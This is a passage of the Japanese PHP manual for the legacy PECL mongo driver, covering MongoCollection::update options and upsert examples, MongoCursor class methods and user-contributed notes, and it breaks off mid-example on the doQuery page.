更新したいオブジェクトの条件。

new_object

マッチするレコードを更新するオブジェクト。 更新演算子を含めたり (特定のフィールドだけの更新用)、 ドキュメント全体を上書きしたりできます。

options

更新時のオプションの配列。 現在利用可能なオプションは、以下のとおりです。

  • "upsert"

    $criteria にマッチするレコードが見つからない場合に 新しいドキュメントを追加します。

    新しいドキュメントを追加するときに $new_object にアトミックな修正子 ($ 演算子) が含まれていれば、この操作を $criteria パラメータに適用して新しいドキュメントを作ります。 $new_object がアトミックな修正子を含まない場合は、 そのままの形式で新しいドキュメントに使います。 詳細は、以下の upsert の例を参照ください。

  • "multiple"

    $criteria にマッチするすべてのドキュメントを更新します。 MongoCollection::update() は MongoCollection::remove() と正反対の動きをします。 デフォルトでは、マッチするすべてのドキュメントではなく ひとつのドキュメントだけを更新するのです。 複数ドキュメントを更新したいのかそうでないのかは、 常に指定しておくことを推奨します。 将来、データベースのデフォルトの挙動が変わる可能性があるからです。

  • "fsync"

    Boolean 型で、デフォルトは false です。 ジャーナリングが有効な場合、これは "j" とまったく同じ動きをします。 ジャーナリングが有効でない場合は、追加をディスク上のデータベースファイルに同期させるまで成功したと見なさないようになります。 true にすると確認つき書き込みが暗黙のうちに設定され、"w" の値を 0 にします。

    注意: ジャーナリングが有効な場合は、"fsync" のかわりに "j" を使いましょう。 "fsync" と "j" を同時に指定すると、エラーになります。

  • "j"

    デフォルトは false です。これを指定すると、追加をジャーナルに同期させるまで成功したと見なさないようになります。true にすると確認付き書き込みと見なされ、"w" の設定を 0 に上書きします。

    注意: このオプションを使っているときにジャーナリングを無効にすると、MongoDB 2.6 以降ではエラーが発生して書き込みに失敗します。古いバージョンのサーバーでは、単純にオプションの指定を無視します。

  • "socketTimeoutMS"

    このオプションは、ソケット通信の制限時間を、ミリ秒単位で指定します。この時間内にサーバーからの反応がなければ、MongoCursorTimeoutException をスローします。この場合、サーバー側で書き込み処理が行われたのかどうかを判断できなくなります。-1 を指定すると、永遠にブロックします。MongoClient のデフォルト値は 30000 (30 秒) です。

  • "w"

    WriteConcerns を参照ください。MongoClient でのデフォルト値は 1 です。

  • "wTimeoutMS"

    このオプションは、書き込み確認を待つ制限時間をミリ秒単位で指定します。これが書き込み操作に適用されるのは、"w" が 1 より大きい場合のみです。というのも、タイムアウトはレプリケーションに関する機能だからです。この時間内に書き込み確認ができなかった場合は MongoCursorException をスローします。0 を指定すると、永遠にブロックし続けます。MongoClient でのデフォルトは 10000 ミリ秒 (10 秒) です。

以下のオプションは廃止予定です。使ってはいけません。

  • "safe"

    非推奨。write concern の w オプションを使いましょう。

  • "timeout"

    非推奨。"socketTimeoutMS" のエイリアス。

  • "wtimeout"

    廃止予定。"wTimeoutMS" のエイリアスです。

返り値

"w" が設定されていれば、更新の状態を表す配列を返します。 それ以外の場合は true を返します。

状態を表す配列のフィールドについては MongoCollection::insert() のドキュメントを参照ください。

エラー / 例外

"w" オプションが設定されていて書き込みが失敗した場合に MongoCursorException をスローします。

"w" オプションの値が 1 より大きく設定されていて、操作の完了までの時間が MongoCursor::$timeout ミリ秒をこえた場合に MongoCursorTimeoutException をスローします。サーバー上での操作は止めません。これはクライアント側でのタイムアウトです。MongoCollection::$wtimeout はミリ秒です。

変更履歴

バージョン | 説明
PECL mongo 1.5.0 | "wTimeoutMS" オプションが追加されました。これは "wtimeout" を置き換えるものです。 "wtimeout" を使うと E_DEPRECATED が発生します。 "socketTimeoutMS" オプションが追加されました。これは "timeout" を置き換えるものです。 "timeout" を使うと E_DEPRECATED が発生します。 "safe" を使うと E_DEPRECATED が発生します。
PECL mongo 1.3.4 | "wtimeout" オプションが追加されました。
PECL mongo 1.3.0 | "w" オプションが追加されました。 options パラメータで、boolean だけを渡して upsert を指定することができなくなりました。 同じことをするには array('upsert'' => true) としなければなりません。
PECL mongo 1.2.11 | options が scalar のときに E_DEPRECATED を発行するようになりました。
PECL mongo 1.2.0 | "timeout" オプションが追加されました。
PECL mongo 1.0.11 | "safe" が設定されている場合は、"not master" エラーで接続を切断するようになりました。
PECL mongo 1.0.9 | "safe" オプションに整数値がわたせるようになりました (以前は boolean のみでした)。 "fsync" オプションが追加されました。 "safe" オプションを使っている場合の返り値の型が配列に変わりました。 配列にはエラー情報が含まれています。"safe" オプションを使わない場合は、今までどおり boolean のままです。
PECL mongo 1.0.5 | "safe" オプションが追加されました。
PECL mongo 1.0.1 | options パラメータが boolean から配列に変わりました。 1.0.1 より前のバージョンでは二番目のパラメータはオプションの boolean 値で、upsert を指定するものでした。

例

例1 MongoCollection::update()

address フィールドをドキュメントに追加します。

<?php

$c->insert(array("firstname" => "Bob", "lastname" => "Jones" ));
$newdata = array('$set' => array("address" => "1 Smith Lane"));
$c->update(array("firstname" => "Bob"), $newdata);

var_dump($c->findOne(array("firstname" => "Bob")));

?>

上の例の出力は、 たとえば以下のようになります。

array(4) {
  ["_id"]=>
  object(MongoId)#6 (0) {
  }
  ["firstname"]=>
  string(3) "Bob"
  ["lastname"]=>
  string(5) "Jones"
  ["address"]=>
  string(12) "1 Smith Lane"
}

例2 MongoCollection::update() での upsert

upsert を使うとコードを簡潔にすることができます。 オブジェクトが存在しない ($criteria に基づく) 場合は新たに作成し、 存在する場合はそれを更新するという操作を一行で書けるからです。

次の例では、$new_object にアトミックな修正子が含まれています。 コレクションは空なので upsert は新たなドキュメントを追加することになり、 これらの操作を $criteria パラメータに適用してドキュメントを作ります。

<?php

$c->drop();
$c->update(
    array("uri" => "/summer_pics"),
    array('$inc' => array("page hits" => 1)),
    array("upsert" => true)
);
var_dump($c->findOne());

?>

上の例の出力は、 たとえば以下のようになります。

array(3) {
  ["_id"]=>
  object(MongoId)#9 (0) {
  }
  ["uri"]=>
  string(12) "/summer_pics"
  ["page hits"]=>
  int(1)
}

$new_object がアトミックな修正子 ($ 演算子) を含まない場合、upsert は $new_object をそのままの形式で新しいドキュメントに使います。 これは通常の update の挙動と同じです。 アトミックな修正子を使わなければ、ドキュメント全体が上書きされます。

<?php

$c->drop();
$c->update(
    array("name" => "joe"),
    array("username" => "joe312", "createdAt" => new MongoDate()),
    array("upsert" => true)
);
var_dump($c->findOne());

?>

上の例の出力は、 たとえば以下のようになります。

array(3) {
  ["_id"]=>
  object(MongoId)#10 (0) {
  }
  ["username"]=>
  string(6) "joe312"
  ["createdAt"]=>
  object(MongoDate)#4 (0) {
  }
}

例3 MongoCollection::update() での複数更新

デフォルトでは MongoCollection::update() は、 $criteria にマッチするドキュメントが複数見つかっても最初のものだけを更新します。 必要なら、"multiple" オプションでその挙動を変えることができます。

この例は、翌日が誕生日である全員に "gift" フィールドを追加します。

<?php

$today = array('$gt' => new MongoDate(), '$lt' => new MongoDate(strtotime("+1 day")));
$people->update(
    array("birthday" => $today),
    array('$set' => array('gift' => $surprise)),
    array("multiple" => true)
);

?>

参考

更新に関するドキュメント および » MongoDB コアメント を参照ください。

User Contributed Notes

Nanhe Kumar 26-Jul-2016 08:31
$inc and set in one statement
<?php
    $m = new Mongo();
    $db = $m->selectDB('db');
    $collection = 'collection';
    $db->$collection->insert(array("firstname" => "Nanhe", "lastname" => "Kumar","attempt"=>1 ));
    $newdata = array('$inc'=>array("attempt"=>1),'$set' => array("address" => "Delhi India"));
    $db->$collection->update(array("firstname" => "Nanhe"), $newdata);
?>
bradzo0647 at gmail dot com 28-Sep-2014 07:07
A need for an app was to add a new entry to the industries collection if it didn't already exist, and pass that "string" _id back to the caller to add it to the businesses collection (as a string also - database design by others.... :))

function GetIndustryID($db, $industry_name_eng, $industry_name_rus) {

// $db is the MongoDB database object
// $industry_name_eng is English of the industry name
// $industry_name_rus is Russian of the industry name

    if ( $industry_name_eng == "" && $industry_name_rus == "" ) {
        return "";
        exit;
    }

    // lookup russian version
    // of industry name from industries collection and try to return the _id

    // if not found, add this as a new document and return its _id

        // $c_ind = industry collection object
        // "industries" is the collection name

    $c_ind = $db->industries;

// you could use findOne here....
    $cursor = $c_ind->find(array('industry_name.russian' => $industry_name_rus));

    if ( $cursor->hasNext() ) {
        foreach ( $cursor as $document ) {
            $id = $document['_id'];
        }
    } else {
        // not found here - go add it
        $document = array(
            "industry_id" => "",
            "industry_name" => array("english" => $industry_name_eng, "russian" => $industry_name_rus )
        );
        $db->industries->insert($document);
        $id = $document['_id'];

        // update the industry_id in the industries collection
        // with the id returned - because we just added it, and
        // we need the industry_id the same as the _id

        // see: http://php.net/manual/en/mongocollection.update.php

        // update ( array $criteria , array $new_object [, array $options = array() ] )

                // note how I cast the MongoID "object" to a string
        $document['industry_id'] = (string)$id;
                // the $id in the next line is the ObjectID, not a string.
        $db->industries->update(array("_id" => $id), $document, array("upsert" => true));
    }

    return (string)$id;

}

Results: (using RoboMongo)
{
    "_id" : ObjectId("5427acf7a495dbd420b2e2ea"),
    "industry_id" : "5427acf7a495dbd420b2e2ea",
    "industry_name" : {
        "english" : "Oil and Gas",
        "russian" : "Нефть, Газ, Энергетика"
    }
}

It took me ages to work this out. Hope it helps someone else.
bronius at bcswebstudio dot com 19-May-2014 08:19
Re. nerds @ limeworks comment:
Thanks for your helpful tip - right what I was looking for.  One note, though: Instead of comma, it's a => as in:
<?php
...->findOne(array('_id' => $mongoID);
?>
Vasiliy Makogon 23-May-2013 03:30
if you want emulate on mongoDb "insert on duplicate key update" in SQL notation, you must use flag "upsert" with "$set" in "update" operation.

In this sample uses unique key (user id and product id) and date user visit  product:page. Each execute this code make update 'lasttime' field:

<?php
$client = new \MongoClient(MONGO_DB);
$users = $client->users;
$last_views = $users->createCollection('last_views');
// create unique index
$result = $last_views->ensureIndex(
    array("user_id" => 1, "warecode" => 1),
    array("unique" => 1)
);

$uviews = new \stdClass();
$uviews->user_id = $this->user_id;
$uviews->warecode = $this->warecode;

$res = $users->last_views->update(
    $uviews,
    array('$set' => array('lasttime' => new \MongoTimestamp())),
    array('upsert' => true)
);
?>
nerds at limeworks dot com dot au 22-Aug-2011 02:39
For anyone referencing records by the Mongo _id object, it's important to recognise that it is in fact an object, and not a string.

If you have a record with a Mongo ID of say "4e519d5118617e88f27ea8cd" that you are trying to retrieve or update, you cannot search for it using something like:
<?php
$m = new Mongo();
$db = $m->selectDB('db');
$collection = 'collection';
$db->$collection->findOne(array('_id', '4e519d5118617e88f27ea8cd'));
?>

There is some documentation that mentions simple conversion to string will solve this, but I have found the only reliable way to locate records based on their ID is to first pass it to MondoID(), then use that for reference.

Something like this will be far more reliable:
<?php
$m = new Mongo();
$db = $m->selectDB('db');
$collection = 'collection';
$mongoID = new MongoID('4e519d5118617e88f27ea8cd');
$db->$collection->findOne(array('_id', $mongoID));
?>

This may prove useful for anyone using the ID object like an auto-increment database key would be used in MySQL or similar.
joshuadburns at hotmail dot com 08-Nov-2010 12:51
Please note under optional third parameter "options":

While the official MongoDB documentation references the keyword "multi" to flag the use of multiple updates, the PHP implementation uses the key "multiple" instead.

This may cause a little confusion if you're basing your keys on the OFFICIAL MongoDB documentation.
rithish[at]gmail[dot]com 02-Nov-2010 05:22
Do note, for incrementing a value using $inc, typecast the value to an integer before passing the new object to update().

<?php
$votes = (int) $votes;
$newData = array('$inc' => array('votes'=>$votes));
$c->update(array("firstname" => "Bob"), $newData);
?>

This is especially noteworthy, if you are taking values from $_GET and pushing them for increment.
jeff at canuckistani dot ca 17-Sep-2010 03:05
The return type of update changed in 1.09 if you are using safe => TRUE. It now returns something that looks like the info returned by MongoDB::lastError:

Array
(
    [err] =>
    [updatedExisting] => 1
    [n] => 1
    [ok] => 1
)


コレクションを検証する

  • ≪ MongoCollection::update
  • MongoCursor ≫
  • PHP Manual
  • MongoCollection
  • コレクションを検証する

MongoCollection::validate

(PECL mongo >=0.9.0)

MongoCollection::validate — コレクションを検証する

説明

public MongoCollection::validate ( bool $scan_data = false ) : array

パラメータ

scan_data

インデックスの検証のみを行い、コレクションは検証しない。

返り値

このオブジェクトをデータベースで評価した結果を返します。

User Contributed Notes

There are no user contributed notes for this page.


MongoCursor クラス

(PECL mongo >=0.9.0)

はじめに

カーソルは、データベースクエリの結果を反復処理するときに使います。 たとえば、データベースに問い合わせたすべての結果を見るには次のようにします。

例1 MongoCursor の基本的な使いかた

<?php

$cursor = $collection->find();
var_dump(iterator_to_array($cursor));

?>

一般に、カーソルを作るときに MongoCursor のコンストラクタを使うことはありません。 新しいカーソルを作るには、(上の例のように) MongoCollection::find() をコールします。

上の例で、仮に $collection が 50GB のコレクションだったとしましょう。そんなときに、 結果をすべて一度にメモリに読み込もうとは思わないでしょう。 そんなときのためにカーソルが存在します。 カーソルを使えば、クライアント側から少しずつコレクションにアクセスできるのです。

結果セットが大規模になっても、それを反復処理して 一度にメモリに取り込むデータ量を数メガバイト程度にすることができます。 たとえばこのようにします。

例2 MongoCursor の反復処理

<?php

$cursor = $collection->find();

foreach ($cursor as $doc) {
    // ここで各ドキュメントについて何らかの処理をします
}

?>
これはコレクション内の各ドキュメントを順にたどり、 必要に応じてドキュメントの読み込みやガベージコレクションを行います。

カーソルにデータベースの結果が "含まれている" わけではないことに注意しましょう。 カーソルは単に結果を管理するだけのものです。つまり、 (var_dump() や print_r() で) カーソルの内容を出力してもドキュメントは見えません。 単にカーソルオブジェクトが表示されるだけです。 ドキュメント自身を取得するには、上のメソッドのいずれかを使います。

カーソルのステージ

MongoCursor には二段階の「ライフステージ」があります。 クエリ前とクエリ後です。 カーソルを作った時点ではまだデータベースに接続していません。 つまり、クエリ前の段階です。この段階では、クエリに何をしてほしいのかをさらに指定することができます。 取得数の制限や読み飛ばし、ソートなどのオプションを指定できるのです。

クライアントが結果を取得しようとする (直接的あるいは間接的に MongoCursor::next() をコールする) と、 そのカーソルはクエリ後の段階に進みます。

例3 MongoCursor へのオプションの追加

<?php

$cursor = $collection->find()->limit(10);

// まだデータベースへの問い合わせは行われていないので、検索オプションをさらに追加することができます
$cursor = $cursor->sort(array("a" => 1));

var_dump($cursor->getNext());
// ここでデータベースへの問い合わせが行われるので、これ以降はオプションを追加することはできません

// つまり、これは例外をスローします
$cursor->skip(4);
?>

クラス概要

MongoCursor implements MongoCursorInterface , Iterator {
/* 静的フィールド */
static bool $slaveOkay = false ;
static int $timeout = 30000 ;
/* メソッド */
public addOption ( string $key , mixed $value ) : MongoCursor
public awaitData ( bool $wait = true ) : MongoCursor
public batchSize ( int $batchSize ) : MongoCursor
public __construct ( MongoClient $connection , string $ns , array $query = array() , array $fields = array() )
public count ( bool $foundOnly = false ) : int
public current ( ) : array
public dead ( ) : bool
protected doQuery ( ) : void
public explain ( ) : array
public fields ( array $f ) : MongoCursor
public getNext ( ) : array
public getReadPreference ( ) : array
public hasNext ( ) : bool
public hint ( mixed $index ) : MongoCursor
public immortal ( bool $liveForever = true ) : MongoCursor
public info ( ) : array
public key ( ) : string|int
public limit ( int $num ) : MongoCursor
public maxTimeMS ( int $ms ) : MongoCursor
public next ( ) : array
public partial ( bool $okay = true ) : MongoCursor
public reset ( ) : void
public rewind ( ) : void
public setFlag ( int $flag , bool $set = true ) : MongoCursor
public setReadPreference ( string $read_preference , array $tags = ? ) : MongoCursor
public skip ( int $num ) : MongoCursor
public slaveOkay ( bool $okay = true ) : MongoCursor
public snapshot ( ) : MongoCursor
public sort ( array $fields ) : MongoCursor
public tailable ( bool $tail = true ) : MongoCursor
public timeout ( int $ms ) : MongoCursor
public valid ( ) : bool
}

静的変数

slaveOkay

クエリに "slaveOkay" フラグが設定されていると、セカンダリ側での読み込みを許可します (セカンダリは、デフォルトでは単なるバックアップ用であり読み込みはできません)。 MongoCursor::slaveOkay() で上書きすることができます。

この機能は 非推奨 です。かわりに 優先読み込み を使いましょう。

timeout

データベースからのすべての応答に対するタイムアウトをミリ秒単位で設定します。 ずっと待ち続ける場合は -1 を指定します。 MongoCursor::timeout() で上書きすることができます。 これは MongoDB サーバーに対する操作をキャンセルするわけではなく、 単にドライバ側で応答を待つのをやめて MongoCursorTimeoutException をスローするだけです。

参考

MongoDB コアドキュメントの » カーソル を参照ください。

目次

  • MongoCursor::addOption — トップレベルの キー/値 のペアをクエリに追加する
  • MongoCursor::awaitData — Sets whether this cursor will wait for a while for a tailable cursor to return more data
  • MongoCursor::batchSize — Limits the number of elements returned in one batch
  • MongoCursor::__construct — 新しいカーソルを作成する
  • MongoCursor::count — このクエリの結果の数を数える
  • MongoCursor::current — 現在の要素を返す
  • MongoCursor::dead — まだデータベースから送信されていないドキュメントがあるかどうかを調べる
  • MongoCursor::doQuery — Execute the query
  • MongoCursor::explain — 最適化やデバッグの際に有効な、クエリの explain を返す
  • MongoCursor::fields — クエリのフィールドを設定する
  • MongoCursor::getNext — カーソルを次の結果に進めてその結果を返す
  • MongoCursor::getReadPreference — このクエリの優先読み込みを取得する
  • MongoCursor::hasNext — このカーソルにまだ要素があるかどうかを調べる
  • MongoCursor::hint — クエリについてのヒントをデータベースに与える
  • MongoCursor::immortal — Sets whether this cursor will timeout
  • MongoCursor::info — カーソルの作成と走査に関する情報を取得する
  • MongoCursor::key — 現在の結果の _id、あるいは結果セット内のインデックスを返す
  • MongoCursor::limit — 返す結果の数を制限する
  • MongoCursor::maxTimeMS — Sets a server-side timeout for this query
  • MongoCursor::next — カーソルを次の結果に進めてその結果を返す
  • MongoCursor::partial — If this query should fetch partial results from mongos if a shard is down
  • MongoCursor::reset — カーソルを消去する
  • MongoCursor::rewind — カーソルを結果セットの先頭に戻す
  • MongoCursor::setFlag — Sets arbitrary flags in case there is no method available the specific flag
  • MongoCursor::setReadPreference — このクエリの優先読み込みを設定する
  • MongoCursor::skip — 結果をスキップする
  • MongoCursor::slaveOkay — Sets whether this query can be done on a secondary [deprecated]
  • MongoCursor::snapshot — このクエリでスナップショットモードを使う
  • MongoCursor::sort — 指定したフィールドで結果をソートする
  • MongoCursor::tailable — Sets whether this cursor will be left open after fetching the last results
  • MongoCursor::timeout — このクエリのクライアント側のタイムアウトを設定する
  • MongoCursor::valid — Checks if the cursor is reading a valid result

User Contributed Notes

alex 20-Sep-2017 02:15
Deprecated:
$cursor = $collection->find();
$cursor->limit(1);

Use instead:
$collection->find([], [ 'limit' => 1 ]);
Adil Baig 20-Jan-2015 06:12
The documentation says $timeout is a static variable that can be set:

"Set timeout in milliseconds for all database responses."

This feature has been deprecated. Attempting to set it will result in a warning :

"PHP Deprecated:  MongoCollection::find(): The 'MongoCursor::$timeout' static property is deprecated, please call MongoCursor->timeout() instead"
adrian dot zurek at netmedia dot com dot pl 24-Oct-2011 04:08
One *VERY* important note, if You do:
$cursor = $collection->find(array(), array('_id' => 0)); // ommit '_id' field in result

then:
var_dump(iterator_to_array($cursor));

will return only *ONE* document, not all!
Adil Baig @ AiDezigns 07-Sep-2011 07:28
If you want to know whether a cursor returned any results it is faster to use 'hasNext()' than 'count'


トップレベルの キー/値 のペアをクエリに追加する

  • ≪ MongoCursor
  • MongoCursor::awaitData ≫
  • PHP Manual
  • MongoCursor
  • トップレベルの キー/値 のペアをクエリに追加する

MongoCursor::addOption

(PECL mongo >=1.0.4)

MongoCursor::addOption — トップレベルの キー/値 のペアをクエリに追加する

説明

public MongoCursor::addOption ( string $key , mixed $value ) : MongoCursor

これは高度な関数なので、今何をしているのかをわかっている人以外は使ってはいけません。

ソートやヒントなどの他のオプションを指定する場合は、クエリを "query" フィールドに書くこともできます。 たとえばソートを追加した場合は、 クエリは次のようにサブフィールドのひとつとなります。

<?php

$query = array("query" => $query, "orderby" => $sort);

?>

このメソッドは、トップレベルのフィールドをクエリに追加します。 クエリにサブオブジェクトを作成 (まだ存在しない場合) し、 指定した キー/値 のペアをトップレベルに追加します。

警告

クエリにその場で条件を追加するという目的で使うことはできません。たとえば、 これは正しく動作しません。

<?php

// 間違った使いかた
$cursor = $users->find()->addOption("name", "joe")->addOption("age", 20);

?>
これは、名前が "joe" で 20 才のユーザーを捜すというクエリには なりません。

パラメータ

key

追加したいフィールド名。

value

追加したい値。

返り値

このカーソルを返します。

エラー / 例外

カーソルの反復処理が始まっている場合は MongoCursorException をスローします。

例

例1 MongoCursor::addOption() によるコメントの追加の例

MongoDB は、サーバーに送る特別なオプションをサポートしています。 シェルの _addSpecial オプションを使うと、 $comment をサーバーに送信します。 このコメントは、プロファイリングログ (遅いクエリのログなど) に表示されます。 PHP ドライバでは、 MongoCursor::addOption() メソッドを利用します。

<?php
$m = new MongoClient;
$c = $m->demo->demo;
$cursor = $c->find();
$cursor->addOption('$comment', "This comment will show up in the profiling log");

foreach ($cursor as $document) { /* empty */ }
?>

上の例の出力は、 たとえば以下のようになります。

{
    "op" : "query",
    "ns" : "demo.demo",
    "query" : {
        "$query" : {

        },
        "$comment" : "This comment will show up in the profiling log"
    },
    "cursorid" : 168463566447,
    "ntoreturn" : 0,
    "ntoskip" : 0,
    "nscanned" : 101,
    "nscannedObjects" : 101,
    "keyUpdates" : 0,
    "numYield" : 0,
...

例2 MongoCursor::addOption() の例

MongoCursor::skip() を使って何百万件もの結果をスキップすると、 処理速度が低下します。これを回避する方法のひとつが、クエリのオプション $min あるいは $max を使うことです。 これらは便利ですが、検索するフィールドにインデックスがなければなりません。 この例は、$min を MongoCursor::skip() の代替として使う方法を示します。

<?php

// インデックスがなければなりません
$c->ensureIndex(array("ts" => 1));

// マシンの性能によって、この値を適宜変更しなければならないかもしれません
// (性能の良いマシンで 30 秒ほどかかります)
for ($i = 0; $i < 30000000; $i++) {
    $c->insert(array("ts" => new MongoDate(), "i" => $i));
}

$now = strtotime("now");

// 最後の 2 秒で追加されたドキュメントを探します
$cursor = $c->find()->addOption('$min', array("ts" => $now-2));

?>

User Contributed Notes

There are no user contributed notes for this page.


Sets whether this cursor will wait for a while for a tailable cursor to return more data

  • ≪ MongoCursor::addOption
  • MongoCursor::batchSize ≫
  • PHP Manual
  • MongoCursor
  • Sets whether this cursor will wait for a while for a tailable cursor to return more data

MongoCursor::awaitData

(PECL mongo >=1.2.11)

MongoCursor::awaitData — Sets whether this cursor will wait for a while for a tailable cursor to return more data

説明

public MongoCursor::awaitData ( bool $wait = true ) : MongoCursor

This method is to be used with tailable cursors. If we are at the end of the data, block for a while rather than returning no data. After a timeout period, we do return as normal.

パラメータ

wait

If the cursor should wait for more data to become available.

返り値

Returns this cursor.

エラー / 例外

Throws MongoCursorException if this cursor has started iterating.

例

例1 MongoCursor::awaitData() example

In this example we tail the "oplog" and instead of sleeping during every iteration, we set the MongoCursor::awaitData() option. MongoCursor::hasNext() will now block until there is more data available.

<?php
$m = new MongoClient( 'mongodb://localhost:13000', array( 'replSet' => 'seta' ) );
$c = $m->local->selectCollection( 'oplog.rs' );
$cursor = $c->find( array( 'ns' => 'demo.article', 'op' => 'i' ) );
$cursor->tailable( true );
$cursor->awaitData( true );

while (true) {
    if (!$cursor->hasNext()) {
        // we've read all the results, exit
        if ($cursor->dead()) {
            break;
        }
    } else {
        var_dump( $cursor->getNext() );
    }
}
?>

参考

MongoDB core docs on » tailable cursors.

  • MongoCursor::tailable() - Sets whether this cursor will be left open after fetching the last results

User Contributed Notes

There are no user contributed notes for this page.


Limits the number of elements returned in one batch

  • ≪ MongoCursor::awaitData
  • MongoCursor::__construct ≫
  • PHP Manual
  • MongoCursor
  • Limits the number of elements returned in one batch

MongoCursor::batchSize

(PECL mongo >=1.0.11)

MongoCursor::batchSize — Limits the number of elements returned in one batch

説明

public MongoCursor::batchSize ( int $batchSize ) : MongoCursor

A cursor typically fetches a batch of result objects and store them locally. This method sets the batchSize value to configure the amount of documents retrieved from the server in one round trip. However, it will never return more documents than fit in the max batch size limit (usually 4MB).

パラメータ

batchSize

The number of results to return per batch. Each batch requires a round-trip to the server.

If batchSize is 2 or more, it represents the size of each batch of objects retrieved. It can be adjusted to optimize performance and limit data transfer.

If batchSize is 1 or negative, it will limit of number returned documents to the absolute value of batchSize, and the cursor will be closed. For example if batchSize is -10, then the server will return a maximum of 10 documents and as many as can fit in 4MB, then close the cursor.

警告

A batchSize of 1 is special, and means the same as -1, i.e. a value of 1 makes the cursor only capable of returning one document.

Note that this feature is different from MongoCursor::limit() in that documents must fit within a maximum size, and it removes the need to send a request to close the cursor server-side. The batch size can be changed even after a cursor is iterated, in which case the setting will apply on the next batch retrieval.

This cannot override MongoDB's limit on the amount of data it will return to the client (i.e., if you set batch size to 1,000,000,000, MongoDB will still only return 4-16MB of results per batch).

To ensure consistent behavior, the rules of MongoCursor::batchSize() and MongoCursor::limit() behave a little complex but work "as expected". The rules are: hard limits override soft limits with preference given to MongoCursor::limit() over MongoCursor::batchSize(). After that, whichever is set and lower than the other will take precedence. See below. section for some examples.

返り値

Returns this cursor.

例

例1 MongoCursor::batchSize() and combinations with MongoCursor::limit()

<?php

// one batch, at most 10 items. The -10 makes the server to return 10 items,
// and then remove the cursor.
$cursor->limit(20)->batchSize(-10);

// first batch: at most 10 items
$cursor->limit(10);

// first batch: at most 10 items
$cursor->limit(10)->batchSize(20);

// results are fetched in batches of 10 each, with a maximum of 20 items
// returned (that means two batches of 10).
$cursor->limit(20)->batchSize(10);

// results are fetched in batches of 7 each, with a maximum of 30 items
// returned (that means that the driver requests 4 batches of 7, and one batch
// of 2).
$cursor->limit(30)->batchSize(7)
?>

参考

MongoDB core docs on » batchSize.

  • MongoCursor::limit() - 返す結果の数を制限する
  • MongoCursorInterface::batchSize() - Limits the number of elements returned in one batch

変更履歴

バージョン | 説明
PECL mongo 1.4.5 | Before 1.4.5, this method would throw an MongoCursorException if the cursor had already started iterating.

User Contributed Notes

There are no user contributed notes for this page.


新しいカーソルを作成する

  • ≪ MongoCursor::batchSize
  • MongoCursor::count ≫
  • PHP Manual
  • MongoCursor
  • 新しいカーソルを作成する

MongoCursor::__construct

(PECL mongo >=0.9.0)

MongoCursor::__construct — 新しいカーソルを作成する

説明

public MongoCursor::__construct ( MongoClient $connection , string $ns , array $query = array() , array $fields = array() )

パラメータ

connection

データベース接続。

ns

データベースおよびコレクションのフルネーム。

query

データベースクエリ。

fields

返すフィールド。

返り値

新しいカーソルを返します。

User Contributed Notes

There are no user contributed notes for this page.


このクエリの結果の数を数える

  • ≪ MongoCursor::__construct
  • MongoCursor::current ≫
  • PHP Manual
  • MongoCursor
  • このクエリの結果の数を数える

MongoCursor::count

(PECL mongo >=0.9.2)

MongoCursor::count — このクエリの結果の数を数える

説明

public MongoCursor::count ( bool $foundOnly = false ) : int

このメソッドはカーソルの状態には何の影響も及ぼしません。 もしまだクエリを実行していないのなら、limit や skip を適用することもできます。 結果の反復処理が始まっている場合は、このメソッドを実行してもカーソルの現在位置は変わりません。 カーソルの最後まで達している場合は、このメソッドを実行してもカーソルをリセットしません。

パラメータ

foundOnly

カーソルの limit を送信し、制限に達した場合に count 関数への情報の送信をスキップします。

返り値

このカーソルのクエリが返すドキュメントの数を返します。

例

例1 MongoCursor::count() の例

<?php

$collection->insert(array('x'=>1));
$collection->insert(array('x'=>2));
$collection->insert(array('x'=>3));

$cursor = $collection->find();

var_dump($cursor->count());
var_dump($cursor->count(true));

$cursor->limit(2);

var_dump($cursor->count());
var_dump($cursor->count(true));

?>

上の例の出力は、 たとえば以下のようになります。

int(3)
int(3)
int(3)
int(2)

エラー / 例外

データベースに接続できない場合に MongoConnectionException をスローします。

User Contributed Notes

There are no user contributed notes for this page.


現在の要素を返す

  • ≪ MongoCursor::count
  • MongoCursor::dead ≫
  • PHP Manual
  • MongoCursor
  • 現在の要素を返す

MongoCursor::current

(PECL mongo >=0.9.0)

MongoCursor::current — 現在の要素を返す

説明

public MongoCursor::current ( ) : array

MongoCursor::next() がコールされるまでは、これは null を返します。

パラメータ

この関数にはパラメータはありません。

返り値

現在の結果を連想配列で返します。 結果がない場合は null を返します。

参考

  • Iterator::current() - 現在の要素を返す

User Contributed Notes

There are no user contributed notes for this page.


まだデータベースから送信されていないドキュメントがあるかどうかを調べる

  • ≪ MongoCursor::current
  • MongoCursor::doQuery ≫
  • PHP Manual
  • MongoCursor
  • まだデータベースから送信されていないドキュメントがあるかどうかを調べる

MongoCursor::dead

(PECL mongo >=0.9.6)

MongoCursor::dead — まだデータベースから送信されていないドキュメントがあるかどうかを調べる

説明

public MongoCursor::dead ( ) : bool

データベースは、一回の応答で最大 4MB までのドキュメントをひとまとめにして送信します。 このメソッドは、まだ送信されていないまとまりがあるか もう結果セットはなくなったのかを調べます。

カーソルが "死んでいる" というのは MongoCursor::hasNext() が false を返すという意味ではなく、 単にデータベースがクライアントに結果を送信し終えたという意味です。 クライアント側では、 MongoCursor::hasNext() が false になるまで反復処理を続けなければなりません。

パラメータ

この関数にはパラメータはありません。

返り値

クライアントにまだ送られていない結果が残っている場合に true、そうでない場合に false を返します。

参考

  • MongoCursorInterface::dead() - Checks if there are results that have not yet been sent from the database

User Contributed Notes

Anonymous 29-Oct-2013 02:22
Return value is not specified correctly in the documentation


Execute the query

  • ≪ MongoCursor::dead
  • MongoCursor::explain ≫
  • PHP Manual
  • MongoCursor
  • Execute the query

MongoCursor::doQuery

(PECL mongo >=0.9.0 <1.6.0)

MongoCursor::doQuery — Execute the query

説明

protected MongoCursor::doQuery ( ) : void
警告

Please do not use me.

This function actually queries the database. All queries and commands go through this function. Thus, this function can be overridden to provide custom query handling.

This handles serializing your query, sending it to the database, receiving a response, and deserializing it. Thus, if you are planning to override this, your code should probably call out to the original to use the existing functionality (see the example below).

パラメータ

この関数にはパラメータはありません。

返り値

null.

エラー / 例外

Throws MongoConnectionException if it cannot reach the database.

変更履歴

バージョン | 説明
PECL mongo 1.2.11 | Emits E_DEPRECATED when used.

例

例1 MongoCursor::doQuery() example

You could override this function to attempt a query on a secondary and, if that fails, try it again on the primary.

<?php

class MyCursor extends MongoCursor {

    protected function doQuery() {

        $this->slaveOkay();

        try {
            MongoCursor::doQuery();
        }
        catch(MongoCursorException $e) {
            $this->slaveOkay(false);
